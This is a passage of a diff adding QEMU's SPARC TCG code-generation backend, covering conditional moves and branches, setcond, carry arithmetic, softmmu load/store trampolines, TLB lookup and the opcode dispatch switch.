ret, + int32_t v1, int v1const) +{ + tcg_out32(s, ARITH_MOVCC | cc | INSN_RD(ret) + | INSN_RS1(tcg_cond_to_bcond[cond]) + | (v1const ? INSN_IMM11(v1) : INSN_RS2(v1))); +} + +static void tcg_out_movcond_i32(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg c1, int32_t c2, int c2const, + int32_t v1, int v1const) +{ + tcg_out_cmp(s, c1, c2, c2const); + tcg_out_movcc(s, cond, MOVCC_ICC, ret, v1, v1const); +} + +static void tcg_out_brcond_i64(TCGContext *s, TCGCond cond, TCGReg arg1, + int32_t arg2, int const_arg2, int label) +{ + /* For 64-bit signed comparisons vs zero, we can avoid the compare. */ + if (arg2 == 0 && !is_unsigned_cond(cond)) { + TCGLabel *l = &s->labels[label]; + int off16; + + if (l->has_value) { + off16 = INSN_OFF16(tcg_pcrel_diff(s, l->u.value_ptr)); + } else { + /* Make sure to preserve destinations during retranslation. */ + off16 = *s->code_ptr & INSN_OFF16(-1); + tcg_out_reloc(s, s->code_ptr, R_SPARC_WDISP16, label, 0); + } + tcg_out32(s, INSN_OP(0) | INSN_OP2(3) | BPR_PT | INSN_RS1(arg1) + | INSN_COND(tcg_cond_to_rcond[cond]) | off16); + } else { + tcg_out_cmp(s, arg1, arg2, const_arg2); + tcg_out_bpcc(s, tcg_cond_to_bcond[cond], BPCC_XCC | BPCC_PT, label); + } + tcg_out_nop(s); +} + +static void tcg_out_movr(TCGContext *s, TCGCond cond, TCGReg ret, TCGReg c1, + int32_t v1, int v1const) +{ + tcg_out32(s, ARITH_MOVR | INSN_RD(ret) | INSN_RS1(c1) + | (tcg_cond_to_rcond[cond] << 10) + | (v1const ? INSN_IMM10(v1) : INSN_RS2(v1))); +} + +static void tcg_out_movcond_i64(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg c1, int32_t c2, int c2const, + int32_t v1, int v1const) +{ + /* For 64-bit signed comparisons vs zero, we can avoid the compare. + Note that the immediate range is one bit smaller, so we must check + for that as well. */ + if (c2 == 0 && !is_unsigned_cond(cond) + && (!v1const || check_fit_i32(v1, 10))) { + tcg_out_movr(s, cond, ret, c1, v1, v1const); + } else { + tcg_out_cmp(s, c1, c2, c2const); + tcg_out_movcc(s, cond, MOVCC_XCC, ret, v1, v1const); + } +} + +static void tcg_out_setcond_i32(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg c1, int32_t c2, int c2const) +{ + /* For 32-bit comparisons, we can play games with ADDC/SUBC. */ + switch (cond) { + case TCG_COND_LTU: + case TCG_COND_GEU: + /* The result of the comparison is in the carry bit. */ + break; + + case TCG_COND_EQ: + case TCG_COND_NE: + /* For equality, we can transform to inequality vs zero. */ + if (c2 != 0) { + tcg_out_arithc(s, TCG_REG_T1, c1, c2, c2const, ARITH_XOR); + c2 = TCG_REG_T1; + } else { + c2 = c1; + } + c1 = TCG_REG_G0, c2const = 0; + cond = (cond == TCG_COND_EQ ? TCG_COND_GEU : TCG_COND_LTU); + break; + + case TCG_COND_GTU: + case TCG_COND_LEU: + /* If we don't need to load a constant into a register, we can + swap the operands on GTU/LEU. There's no benefit to loading + the constant into a temporary register. */ + if (!c2const || c2 == 0) { + TCGReg t = c1; + c1 = c2; + c2 = t; + c2const = 0; + cond = tcg_swap_cond(cond); + break; + } + /* FALLTHRU */ + + default: + tcg_out_cmp(s, c1, c2, c2const); + tcg_out_movi_imm13(s, ret, 0); + tcg_out_movcc(s, cond, MOVCC_ICC, ret, 1, 1); + return; + } + + tcg_out_cmp(s, c1, c2, c2const); + if (cond == TCG_COND_LTU) { + tcg_out_arithi(s, ret, TCG_REG_G0, 0, ARITH_ADDC); + } else { + tcg_out_arithi(s, ret, TCG_REG_G0, -1, ARITH_SUBC); + } +} + +static void tcg_out_setcond_i64(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg c1, int32_t c2, int c2const) +{ + if (use_vis3_instructions) { + switch (cond) { + case TCG_COND_NE: + if (c2 != 0) { + break; + } + c2 = c1, c2const = 0, c1 = TCG_REG_G0; + /* FALLTHRU */ + case TCG_COND_LTU: + tcg_out_cmp(s, c1, c2, c2const); + tcg_out_arith(s, ret, TCG_REG_G0, TCG_REG_G0, ARITH_ADDXC); + return; + default: + break; + } + } + + /* For 64-bit signed comparisons vs zero, we can avoid the compare + if the input does not overlap the output. */ + if (c2 == 0 && !is_unsigned_cond(cond) && c1 != ret) { + tcg_out_movi_imm13(s, ret, 0); + tcg_out_movr(s, cond, ret, c1, 1, 1); + } else { + tcg_out_cmp(s, c1, c2, c2const); + tcg_out_movi_imm13(s, ret, 0); + tcg_out_movcc(s, cond, MOVCC_XCC, ret, 1, 1); + } +} + +static void tcg_out_addsub2_i32(TCGContext *s, TCGReg rl, TCGReg rh, + TCGReg al, TCGReg ah, int32_t bl, int blconst, + int32_t bh, int bhconst, int opl, int oph) +{ + TCGReg tmp = TCG_REG_T1; + + /* Note that the low parts are fully consumed before tmp is set. */ + if (rl != ah && (bhconst || rl != bh)) { + tmp = rl; + } + + tcg_out_arithc(s, tmp, al, bl, blconst, opl); + tcg_out_arithc(s, rh, ah, bh, bhconst, oph); + tcg_out_mov(s, TCG_TYPE_I32, rl, tmp); +} + +static void tcg_out_addsub2_i64(TCGContext *s, TCGReg rl, TCGReg rh, + TCGReg al, TCGReg ah, int32_t bl, int blconst, + int32_t bh, int bhconst, bool is_sub) +{ + TCGReg tmp = TCG_REG_T1; + + /* Note that the low parts are fully consumed before tmp is set. */ + if (rl != ah && (bhconst || rl != bh)) { + tmp = rl; + } + + tcg_out_arithc(s, tmp, al, bl, blconst, is_sub ? ARITH_SUBCC : ARITH_ADDCC); + + if (use_vis3_instructions && !is_sub) { + /* Note that ADDXC doesn't accept immediates. */ + if (bhconst && bh != 0) { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_T2, bh); + bh = TCG_REG_T2; + } + tcg_out_arith(s, rh, ah, bh, ARITH_ADDXC); + } else if (bh == TCG_REG_G0) { + /* If we have a zero, we can perform the operation in two insns, + with the arithmetic first, and a conditional move into place. */ + if (rh == ah) { + tcg_out_arithi(s, TCG_REG_T2, ah, 1, + is_sub ? ARITH_SUB : ARITH_ADD); + tcg_out_movcc(s, TCG_COND_LTU, MOVCC_XCC, rh, TCG_REG_T2, 0); + } else { + tcg_out_arithi(s, rh, ah, 1, is_sub ? ARITH_SUB : ARITH_ADD); + tcg_out_movcc(s, TCG_COND_GEU, MOVCC_XCC, rh, ah, 0); + } + } else { + /* Otherwise adjust BH as if there is carry into T2 ... */ + if (bhconst) { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_T2, bh + (is_sub ? -1 : 1)); + } else { + tcg_out_arithi(s, TCG_REG_T2, bh, 1, + is_sub ? ARITH_SUB : ARITH_ADD); + } + /* ... smoosh T2 back to original BH if carry is clear ... */ + tcg_out_movcc(s, TCG_COND_GEU, MOVCC_XCC, TCG_REG_T2, bh, bhconst); + /* ... and finally perform the arithmetic with the new operand. */ + tcg_out_arith(s, rh, ah, TCG_REG_T2, is_sub ? ARITH_SUB : ARITH_ADD); + } + + tcg_out_mov(s, TCG_TYPE_I64, rl, tmp); +} + +static void tcg_out_call_nodelay(TCGContext *s, tcg_insn_unit *dest) +{ + ptrdiff_t disp = tcg_pcrel_diff(s, dest); + + if (disp == (int32_t)disp) { + tcg_out32(s, CALL | (uint32_t)disp >> 2); + } else { + uintptr_t desti = (uintptr_t)dest; + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_T1, desti & ~0xfff); + tcg_out_arithi(s, TCG_REG_O7, TCG_REG_T1, desti & 0xfff, JMPL); + } +} + +static void tcg_out_call(TCGContext *s, tcg_insn_unit *dest) +{ + tcg_out_call_nodelay(s, dest); + tcg_out_nop(s); +} + +#ifdef CONFIG_SOFTMMU +static tcg_insn_unit *qemu_ld_trampoline[16]; +static tcg_insn_unit *qemu_st_trampoline[16]; + +static void build_trampolines(TCGContext *s) +{ + static void * const qemu_ld_helpers[16] = { + [MO_UB] = helper_ret_ldub_mmu, + [MO_SB] = helper_ret_ldsb_mmu, + [MO_LEUW] = helper_le_lduw_mmu, + [MO_LESW] = helper_le_ldsw_mmu, + [MO_LEUL] = helper_le_ldul_mmu, + [MO_LEQ] = helper_le_ldq_mmu, + [MO_BEUW] = helper_be_lduw_mmu, + [MO_BESW] = helper_be_ldsw_mmu, + [MO_BEUL] = helper_be_ldul_mmu, + [MO_BEQ] = helper_be_ldq_mmu, + }; + static void * const qemu_st_helpers[16] = { + [MO_UB] = helper_ret_stb_mmu, + [MO_LEUW] = helper_le_stw_mmu, + [MO_LEUL] = helper_le_stl_mmu, + [MO_LEQ] = helper_le_stq_mmu, + [MO_BEUW] = helper_be_stw_mmu, + [MO_BEUL] = helper_be_stl_mmu, + [MO_BEQ] = helper_be_stq_mmu, + }; + + int i; + TCGReg ra; + + for (i = 0; i < 16; ++i) { + if (qemu_ld_helpers[i] == NULL) { + continue; + } + + /* May as well align the trampoline. */ + while ((uintptr_t)s->code_ptr & 15) { + tcg_out_nop(s); + } + qemu_ld_trampoline[i] = s->code_ptr; + + if (SPARC64 || TARGET_LONG_BITS == 32) { + ra = TCG_REG_O3; + } else { + /* Install the high part of the address. */ + tcg_out_arithi(s, TCG_REG_O1, TCG_REG_O2, 32, SHIFT_SRLX); + ra = TCG_REG_O4; + } + + /* Set the retaddr operand. */ + tcg_out_mov(s, TCG_TYPE_PTR, ra, TCG_REG_O7); + /* Set the env operand. */ + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_O0, TCG_AREG0); + /* Tail call. */ + tcg_out_call_nodelay(s, qemu_ld_helpers[i]); + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_O7, ra); + } + + for (i = 0; i < 16; ++i) { + if (qemu_st_helpers[i] == NULL) { + continue; + } + + /* May as well align the trampoline. */ + while ((uintptr_t)s->code_ptr & 15) { + tcg_out_nop(s); + } + qemu_st_trampoline[i] = s->code_ptr; + + if (SPARC64) { + ra = TCG_REG_O4; + } else { + ra = TCG_REG_O1; + if (TARGET_LONG_BITS == 64) { + /* Install the high part of the address. */ + tcg_out_arithi(s, ra, ra + 1, 32, SHIFT_SRLX); + ra += 2; + } else { + ra += 1; + } + if ((i & MO_SIZE) == MO_64) { + /* Install the high part of the data. */ + tcg_out_arithi(s, ra, ra + 1, 32, SHIFT_SRLX); + ra += 2; + } else { + ra += 1; + } + /* Skip the mem_index argument. */ + ra += 1; + } + + /* Set the retaddr operand. */ + if (ra >= TCG_REG_O6) { + tcg_out_st(s, TCG_TYPE_PTR, TCG_REG_O7, TCG_REG_CALL_STACK, + TCG_TARGET_CALL_STACK_OFFSET); + ra = TCG_REG_G1; + } + tcg_out_mov(s, TCG_TYPE_PTR, ra, TCG_REG_O7); + /* Set the env operand. */ + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_O0, TCG_AREG0); + /* Tail call. */ + tcg_out_call_nodelay(s, qemu_st_helpers[i]); + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_O7, ra); + } +} +#endif + +/* Generate global QEMU prologue and epilogue code */ +static void tcg_target_qemu_prologue(TCGContext *s) +{ + int tmp_buf_size, frame_size; + + /* The TCG temp buffer is at the top of the frame, immediately + below the frame pointer. */ + tmp_buf_size = CPU_TEMP_BUF_NLONGS * (int)sizeof(long); + tcg_set_frame(s, TCG_REG_I6, TCG_TARGET_STACK_BIAS - tmp_buf_size, + tmp_buf_size); + + /* TCG_TARGET_CALL_STACK_OFFSET includes the stack bias, but is + otherwise the minimal frame usable by callees. */ + frame_size = TCG_TARGET_CALL_STACK_OFFSET - TCG_TARGET_STACK_BIAS; + frame_size += TCG_STATIC_CALL_ARGS_SIZE + tmp_buf_size; + frame_size += TCG_TARGET_STACK_ALIGN - 1; + frame_size &= -TCG_TARGET_STACK_ALIGN; + tcg_out32(s, SAVE | INSN_RD(TCG_REG_O6) | INSN_RS1(TCG_REG_O6) | + INSN_IMM13(-frame_size)); + +#ifdef CONFIG_USE_GUEST_BASE + if (GUEST_BASE != 0) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_GUEST_BASE_REG, GUEST_BASE); + tcg_regset_set_reg(s->reserved_regs, TCG_GUEST_BASE_REG); + } +#endif + + tcg_out_arithi(s, TCG_REG_G0, TCG_REG_I1, 0, JMPL); + /* delay slot */ + tcg_out_nop(s); + + /* No epilogue required. We issue ret + restore directly in the TB. */ + +#ifdef CONFIG_SOFTMMU + build_trampolines(s); +#endif +} + +#if defined(CONFIG_SOFTMMU) +/* Perform the TLB load and compare. + + Inputs: + ADDRLO and ADDRHI contain the possible two parts of the address. + + MEM_INDEX and S_BITS are the memory context and log2 size of the load. + + WHICH is the offset into the CPUTLBEntry structure of the slot to read. + This should be offsetof addr_read or addr_write. + + The result of the TLB comparison is in %[ix]cc. The sanitized address + is in the returned register, maybe %o0. The TLB addend is in %o1. */ + +static TCGReg tcg_out_tlb_load(TCGContext *s, TCGReg addr, int mem_index, + TCGMemOp s_bits, int which) +{ + const TCGReg r0 = TCG_REG_O0; + const TCGReg r1 = TCG_REG_O1; + const TCGReg r2 = TCG_REG_O2; + int tlb_ofs; + + /* Shift the page number down. */ + tcg_out_arithi(s, r1, addr, TARGET_PAGE_BITS, SHIFT_SRL); + + /* Mask out the page offset, except for the required alignment. */ + tcg_out_movi(s, TCG_TYPE_TL, TCG_REG_T1, + TARGET_PAGE_MASK | ((1 << s_bits) - 1)); + + /* Mask the tlb index. */ + tcg_out_arithi(s, r1, r1, CPU_TLB_SIZE - 1, ARITH_AND); + + /* Mask page, part 2. */ + tcg_out_arith(s, r0, addr, TCG_REG_T1, ARITH_AND); + + /* Shift the tlb index into place. */ + tcg_out_arithi(s, r1, r1, CPU_TLB_ENTRY_BITS, SHIFT_SLL); + + /* Relative to the current ENV. */ + tcg_out_arith(s, r1, TCG_AREG0, r1, ARITH_ADD); + + /* Find a base address that can load both tlb comparator and addend. */ + tlb_ofs = offsetof(CPUArchState, tlb_table[mem_index][0]); + if (!check_fit_ptr(tlb_ofs + sizeof(CPUTLBEntry), 13)) { + if (tlb_ofs & ~0x3ff) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_T1, tlb_ofs & ~0x3ff); + tcg_out_arith(s, r1, r1, TCG_REG_T1, ARITH_ADD); + } + tlb_ofs &= 0x3ff; + } + + /* Load the tlb comparator and the addend. */ + tcg_out_ld(s, TCG_TYPE_TL, r2, r1, tlb_ofs + which); + tcg_out_ld(s, TCG_TYPE_PTR, r1, r1, tlb_ofs+offsetof(CPUTLBEntry, addend)); + + /* subcc arg0, arg2, %g0 */ + tcg_out_cmp(s, r0, r2, 0); + + /* If the guest address must be zero-extended, do so now. */ + if (SPARC64 && TARGET_LONG_BITS == 32) { + tcg_out_arithi(s, r0, addr, 0, SHIFT_SRL); + return r0; + } + return addr; +} +#endif /* CONFIG_SOFTMMU */ + +static const int qemu_ld_opc[16] = { + [MO_UB] = LDUB, + [MO_SB] = LDSB, + + [MO_BEUW] = LDUH, + [MO_BESW] = LDSH, + [MO_BEUL] = LDUW, + [MO_BESL] = LDSW, + [MO_BEQ] = LDX, + + [MO_LEUW] = LDUH_LE, + [MO_LESW] = LDSH_LE, + [MO_LEUL] = LDUW_LE, + [MO_LESL] = LDSW_LE, + [MO_LEQ] = LDX_LE, +}; + +static const int qemu_st_opc[16] = { + [MO_UB] = STB, + + [MO_BEUW] = STH, + [MO_BEUL] = STW, + [MO_BEQ] = STX, + + [MO_LEUW] = STH_LE, + [MO_LEUL] = STW_LE, + [MO_LEQ] = STX_LE, +}; + +static void tcg_out_qemu_ld(TCGContext *s, TCGReg data, TCGReg addr, + TCGMemOp memop, int memi, bool is_64) +{ +#ifdef CONFIG_SOFTMMU + TCGMemOp s_bits = memop & MO_SIZE; + TCGReg addrz, param; + tcg_insn_unit *func; + tcg_insn_unit *label_ptr; + + addrz = tcg_out_tlb_load(s, addr, memi, s_bits, + offsetof(CPUTLBEntry, addr_read)); + + /* The fast path is exactly one insn. Thus we can perform the + entire TLB Hit in the (annulled) delay slot of the branch + over the TLB Miss case. */ + + /* beq,a,pt %[xi]cc, label0 */ + label_ptr = s->code_ptr; + tcg_out_bpcc0(s, COND_E, BPCC_A | BPCC_PT + | (TARGET_LONG_BITS == 64 ? BPCC_XCC : BPCC_ICC), 0); + /* delay slot */ + tcg_out_ldst_rr(s, data, addrz, TCG_REG_O1, qemu_ld_opc[memop]); + + /* TLB Miss. */ + + param = TCG_REG_O1; + if (!SPARC64 && TARGET_LONG_BITS == 64) { + /* Skip the high-part; we'll perform the extract in the trampoline. */ + param++; + } + tcg_out_mov(s, TCG_TYPE_REG, param++, addr); + + /* We use the helpers to extend SB and SW data, leaving the case + of SL needing explicit extending below. */ + if ((memop & ~MO_BSWAP) == MO_SL) { + func = qemu_ld_trampoline[memop & ~MO_SIGN]; + } else { + func = qemu_ld_trampoline[memop]; + } + assert(func != NULL); + tcg_out_call_nodelay(s, func); + /* delay slot */ + tcg_out_movi(s, TCG_TYPE_I32, param, memi); + + /* Recall that all of the helpers return 64-bit results. + Which complicates things for sparcv8plus. */ + if (SPARC64) { + /* We let the helper sign-extend SB and SW, but leave SL for here. */ + if (is_64 && (memop & ~MO_BSWAP) == MO_SL) { + tcg_out_arithi(s, data, TCG_REG_O0, 0, SHIFT_SRA); + } else { + tcg_out_mov(s, TCG_TYPE_REG, data, TCG_REG_O0); + } + } else { + if (s_bits == MO_64) { + tcg_out_arithi(s, TCG_REG_O0, TCG_REG_O0, 32, SHIFT_SLLX); + tcg_out_arithi(s, TCG_REG_O1, TCG_REG_O1, 0, SHIFT_SRL); + tcg_out_arith(s, data, TCG_REG_O0, TCG_REG_O1, ARITH_OR); + } else if (is_64) { + /* Re-extend from 32-bit rather than reassembling when we + know the high register must be an extension. */ + tcg_out_arithi(s, data, TCG_REG_O1, 0, + memop & MO_SIGN ? SHIFT_SRA : SHIFT_SRL); + } else { + tcg_out_mov(s, TCG_TYPE_I32, data, TCG_REG_O1); + } + } + + *label_ptr |= INSN_OFF19(tcg_ptr_byte_diff(s->code_ptr, label_ptr)); +#else + if (SPARC64 && TARGET_LONG_BITS == 32) { + tcg_out_arithi(s, TCG_REG_T1, addr, 0, SHIFT_SRL); + addr = TCG_REG_T1; + } + tcg_out_ldst_rr(s, data, addr, + (GUEST_BASE ? TCG_GUEST_BASE_REG : TCG_REG_G0), + qemu_ld_opc[memop]); +#endif /* CONFIG_SOFTMMU */ +} + +static void tcg_out_qemu_st(TCGContext *s, TCGReg data, TCGReg addr, + TCGMemOp memop, int memi) +{ +#ifdef CONFIG_SOFTMMU + TCGMemOp s_bits = memop & MO_SIZE; + TCGReg addrz, param; + tcg_insn_unit *func; + tcg_insn_unit *label_ptr; + + addrz = tcg_out_tlb_load(s, addr, memi, s_bits, + offsetof(CPUTLBEntry, addr_write)); + + /* The fast path is exactly one insn. Thus we can perform the entire + TLB Hit in the (annulled) delay slot of the branch over TLB Miss. */ + /* beq,a,pt %[xi]cc, label0 */ + label_ptr = s->code_ptr; + tcg_out_bpcc0(s, COND_E, BPCC_A | BPCC_PT + | (TARGET_LONG_BITS == 64 ? BPCC_XCC : BPCC_ICC), 0); + /* delay slot */ + tcg_out_ldst_rr(s, data, addrz, TCG_REG_O1, qemu_st_opc[memop]); + + /* TLB Miss. */ + + param = TCG_REG_O1; + if (!SPARC64 && TARGET_LONG_BITS == 64) { + /* Skip the high-part; we'll perform the extract in the trampoline. */ + param++; + } + tcg_out_mov(s, TCG_TYPE_REG, param++, addr); + if (!SPARC64 && s_bits == MO_64) { + /* Skip the high-part; we'll perform the extract in the trampoline. */ + param++; + } + tcg_out_mov(s, TCG_TYPE_REG, param++, data); + + func = qemu_st_trampoline[memop]; + assert(func != NULL); + tcg_out_call_nodelay(s, func); + /* delay slot */ + tcg_out_movi(s, TCG_TYPE_REG, param, memi); + + *label_ptr |= INSN_OFF19(tcg_ptr_byte_diff(s->code_ptr, label_ptr)); +#else + if (SPARC64 && TARGET_LONG_BITS == 32) { + tcg_out_arithi(s, TCG_REG_T1, addr, 0, SHIFT_SRL); + addr = TCG_REG_T1; + } + tcg_out_ldst_rr(s, data, addr, + (GUEST_BASE ? TCG_GUEST_BASE_REG : TCG_REG_G0), + qemu_st_opc[memop]); +#endif /* CONFIG_SOFTMMU */ +} + +static void tcg_out_op(TCGContext *s, TCGOpcode opc, + const TCGArg args[TCG_MAX_OP_ARGS], + const int const_args[TCG_MAX_OP_ARGS]) +{ + TCGArg a0, a1, a2; + int c, c2; + + /* Hoist the loads of the most common arguments. */ + a0 = args[0]; + a1 = args[1]; + a2 = args[2]; + c2 = const_args[2]; + + switch (opc) { + case INDEX_op_exit_tb: + if (check_fit_ptr(a0, 13)) { + tcg_out_arithi(s, TCG_REG_G0, TCG_REG_I7, 8, RETURN); + tcg_out_movi_imm13(s, TCG_REG_O0, a0); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_I0, a0 & ~0x3ff); + tcg_out_arithi(s, TCG_REG_G0, TCG_REG_I7, 8, RETURN); + tcg_out_arithi(s, TCG_REG_O0, TCG_REG_O0, a0 & 0x3ff, ARITH_OR); + } + break; + case INDEX_op_goto_tb: + if (s->tb_jmp_offset) { + /* direct jump method */ + s->tb_jmp_offset[a0] = tcg_current_code_size(s); + /* Make sure to preserve links during retranslation. */ + tcg_out32(s, CALL | (*s->code_ptr & ~INSN_OP(-1))); + } else { + /* indirect jump method */ + tcg_out_ld_ptr(s, TCG_REG_T1, (uintptr_t)(s->tb_next + a0)); + tcg_out_arithi(s, TCG_REG_G0, TCG_REG_T1, 0, JMPL); + } + tcg_out_nop(s); + s->tb_next_offset[a0] = tcg_current_code_size(s); + break; + case INDEX_op_br: + tcg_out_bpcc(s, COND_A, BPCC_PT, a0); + tcg_out_nop(s); + break; + +#define OP_32_64(x) \ + glue(glue(case INDEX_op_, x), _i32): \ + glue(glue(case INDEX_op_, x), _i64) + + OP_32_64(ld8u): + tcg_out_ldst(s, a0, a1, a2, LDUB); + break; + OP_32_64(ld8s): + tcg_out_ldst(s, a0, a1, a2, LDSB); + break; + OP_32_64(ld16u): + tcg_out_ldst(s, a0, a1, a2, LDUH); + break; + OP_32_64(ld16s): + tcg_out_ldst(s, a0, a1, a2, LDSH); + break; + case INDEX_op_ld_i32: + case INDEX_op_ld32u_i64: + tcg_out_ldst(s, a0, a1, a2, LDUW); + break; + OP_32_64(st8): + tcg_out_ldst(s, a0, a1, a2, STB); + break; + OP_32_64(st16): + tcg_out_ldst(s, a0, a1, a2, STH); + break; + case INDEX_op_st_i32: + case INDEX_op_st32_i64: + tcg_out_ldst(s, a0, a1, a2, STW); + break; + OP_32_64(add): + c = ARITH_ADD; + goto gen_arith; + OP_32_64(sub): + c = ARITH_SUB; + goto gen_arith; + OP_32_64(and): + c = ARITH_AND; + goto gen_arith; + OP_32_64(andc): + c = ARITH_ANDN; + goto gen_arith; + OP_32_64(or): + c = ARITH_OR; + goto gen_arith; + OP_32_64(orc): + c = ARITH_ORN; + goto gen_arith; + OP_32_64(xor): + c = ARITH_XOR; + goto gen_arith; + case INDEX_op_shl_i32: + c = SHIFT_SLL; + do_shift32: + /* Limit immediate shift count lest we create an illegal insn. */ + tcg_out_arithc(s, a0, a1, a2 & 31, c2, c); + break; + case INDEX_op_shr_i32: + c = SHIFT_SRL; + goto do_shift32; + case INDEX_op_sar_i32: + c = SHIFT_SRA; + goto do_shift32; + case INDEX_op_mul_i32: + c = ARITH_UMUL; + goto gen_arith; + + OP_32_64(neg): + c = ARITH_SUB; + goto gen_arith1; + OP_32_64(not): + c = ARITH_ORN; + goto gen_arith1; + + case INDEX_op_div_i32: + tcg_out_div32(s, a0, a1, a2, c2, 0); + break; + case INDEX_op_divu_i32: + tcg_out_div32(s, a0, a1, a2, c2, 1); + break; + + case INDEX_op_brcond_i32: + tcg_out_brcond_i32(s, a2, a0, a1, const_args[1], args[3]); + break; + case INDEX_op_setcond_i32: + tcg_out_setcond_i32(s, args[3], a0, a1, a2, c2); + break; + case INDEX_op_movcond_i32: + tcg_out_movcond_i32(s, args[5], a0, a1, a2, c2, args[3], const_args[3]); + break; + + case INDEX_op_add2_i32: + tcg_out_addsub2_i32(s, args[0], args[1], args[2], args[3], + args[4], const_args[4], args[5], const_args[5], + ARITH_ADDCC, ARITH_ADDC); + break; + case INDEX_op_sub2_i32: + tcg_out_addsub2_i32(s, args[0], args[1], args[2], args[3], + args[4], const_args[4], args[5], const_args[5], + ARITH_SUBCC, ARITH_SUBC); + break; + case INDEX_op_mulu2_i32: + c = ARITH_UMUL; + goto do_mul2; + case INDEX_op_muls2_i32: + c = ARITH_SMUL; + do_mul2: + /* The 32-bit multiply insns produce a full 64-bit result. If the + destination register can hold it, we can avoid the slower RDY. */ + tcg_out_arithc(s, a0, a2, args[3], const_args[3], c); + if (SPARC64 || a0 <= TCG_REG_O7) { + tcg_out_arithi(s, a1, a0, 32, SHIFT_SRLX); + } else { + tcg_out_rdy(s, a1); + } + break; + + case INDEX_op_qemu_ld_i32: + tcg_out_qemu_ld(s, a0, a1, a2, args[3], false); + break; + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, a0, a1, a2, args[3], true); + break; + case INDEX_op_qemu_st_i32: + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, a0, a1, a2, args[3]); + break; + + case INDEX_op_ld32s_i64: + tcg_out_ldst(s, a0, a1, a2, LDSW); + break; + case INDEX_op_ld_i64: + tcg_out_ldst(s, a0, a1, a2, LDX); + break; + case INDEX_op_st_i64: + tcg_out_ldst(s, a0, a1, a2, STX); + break; + case INDEX_op_shl_i64: + c = SHIFT_SLLX; + do_shift64: + /* Limit immediate shift count lest we create an illegal insn. */ + tcg_out_arithc(s, a0, a1, a2 & 63, c2, c); + break; + case INDEX_op_shr_i64: + c = SHIFT_SRLX; + goto do_shift64; + case INDEX_op_sar_i64: + c = SHIFT_SRAX; + goto do_shift64; + case INDEX_op_mul_i64: + c = ARITH_MULX; + goto gen_arith; + case INDEX_op_div_i64: + c = ARITH_SDIVX; + goto gen_arith; + case INDEX_op_divu_i64: + c = ARITH_UDIVX; + goto gen_arith; + case INDEX_op_ext32s_i64: + tcg_out_arithi(s, a0, a1, 0, SHIFT_SRA); + break; + case INDEX_op_ext32u_i64: + tcg_out_arithi(s, a0, a1, 0, SHIFT_SRL); + break; + case INDEX_op_trunc_shr_i32: + if (a2 == 0) { + tcg_out_mov(s, TCG_TYPE_I32, a0, a1); + } else { + tcg_out_arithi(s, a0, a1, a2, SHIFT_SRLX); + } + break; + + case INDEX_op_brcond_i64: + tcg_out_brcond_i64(s, a2, a0, a1, const_args[1], args[3]); + break; + case INDEX_op_setcond_i64: + tcg_out_setcond_i64(s, args[3], a0, a1, a2, c2); + break; + case INDEX_op_movcond_i64: + tcg_out_movcond_i64(s, args[5], a0, a1, a2, c2, args[3], const_args[3]); + break; + case INDEX_op_add2_i64: + tcg_out_addsub2_i64(s, args[0], args[1], args[2], args[3], args[4], + const_args[4], args[5], const_args[5], false); + break; + case INDEX_op_sub2_i64: + tcg_out_addsub2_i64(s, args[0], args[1], args[2], args[3], args[4], + const_args[4], args[5], const_args[5], true); + break; + case INDEX_op_muluh_i64: + tcg_out_arith(s, args[0], args[1], args[2], ARITH_UMULXHI); + break; + + gen_arith: + tcg_out_arithc(s, a0, a1, a2, c2, c); + break; + + gen_arith1: + tcg_out_arithc(s, a0, TCG_REG_G0, a1, const_args[1], c); + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_mov_i64: + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_movi_i64: + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } +} + +static const TCGTargetOpDef sparc_op_defs[] = { + { INDEX_op_exit_tb, { } }, + { INDEX_op_goto_tb, { } }, + { INDEX_op_br, { } }, + + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + { INDEX_op_st8_i32, { "rZ", "r" } }, + { INDEX_op_st16_i32, { "rZ", "r" } }, + { INDEX_op_st_i32, { "rZ", "r" } }, + + { INDEX_op_add_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_mul_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_div_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_divu_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_sub_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_and_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_andc_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_or_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_orc_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_xor_i32, { "r", "rZ", "rJ" } }, + + { INDEX_op_shl_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_shr_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_sar_i32, { "r", "rZ", "rJ" } }, + + { INDEX_op_neg_i32, { "r", "rJ" } }, + { INDEX_op_not_i32, { "r", "rJ" } }, + + { INDEX_op_brcond_i32, { "rZ", "rJ" } }, + { INDEX_op_setcond_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_movcond_i32, { "r", "rZ", "rJ", "rI", "0" } }, + + { INDEX_op_add2_i32, { "r", "r", "rZ", "rZ", "rJ", "rJ" } }, + { INDEX_op_sub2_i32, { "r", "r", "rZ", "rZ", "rJ", "rJ" } 